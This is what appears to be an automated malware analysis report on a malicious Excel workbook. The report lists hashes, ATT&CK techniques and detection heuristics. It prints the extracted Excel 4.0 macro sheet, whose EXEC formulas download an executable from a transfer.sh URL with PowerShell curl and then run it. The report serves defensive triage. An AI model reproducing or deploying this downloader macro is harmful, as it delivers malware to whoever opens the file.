Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 92c448f4f03df752…

MALICIOUS

Office (OOXML)

106.2 KB Created: 2020-09-20 21:17:44 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-08-20
MD5: 6190028a697207f539c07eca97f74cae SHA-1: 968175d8782466b7a0d37f58f0df061a92bb533d SHA-256: 92c448f4f03df752a942250ff92865199a003af4a21869b0ce083a8f67a8efd1
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1203 Exploitation for Client Execution T1105 Ingress Tool Transfer

The sample contains Excel 4.0 macros, which are known to be used for malicious purposes. Specifically, the macro uses the EXEC function to run a PowerShell command that downloads a second-stage executable from 'https://transfer.sh/1vlmK3J/Exploit.exe' to 'C:\Users\Public\xq.exe'. It then executes this downloaded file after a delay. This indicates a downloader or droppper functionality.

Heuristics 6

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://transfer.sh/1vlmK3J/Exploit.exe In document text (OOXML body / shared strings)
    • http://www.iec.chIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1989 bytes
SHA-256: 0562d1a91cd9b2ddaba69eff39dbdc74bf070790e3e06fb29adeed3939f49384
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0000-000000000000}"><dimension ref="E587:K624"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="12.75" x14ac:dyDescent="0.2"/><cols><col min="1" max="4" width="11.42578125" customWidth="1"/><col min="5" max="5" width="8.85546875" hidden="1" customWidth="1"/><col min="6" max="256" width="11.42578125" customWidth="1"/></cols><sheetData><row r="587" spans="11:11" x14ac:dyDescent="0.2"><c r="K587" s="3"><f>EXEC("cmd /c powershell -c curl.exe -o C:\Users\Public\xq.exe --url https://transfer.sh/1vlmK3J/Exploit.exe")</f><v>0</v></c></row><row r="591" spans="11:11" x14ac:dyDescent="0.2"><c r="K591" s="1"/></row><row r="596" spans="11:11" x14ac:dyDescent="0.2"><c r="K596" s="3"><f>EXEC("cmd /c powershell -c Start-Sleep -s 15;C:\Users\Public\xq.exe")</f><v>0</v></c></row><row r="600" spans="11:11" ht="15" x14ac:dyDescent="0.2"><c r="K600" s="2"/></row><row r="624" spans="11:11" x14ac:dyDescent="0.2"><c r="K624" s="1" t="b"><f>PAUSE()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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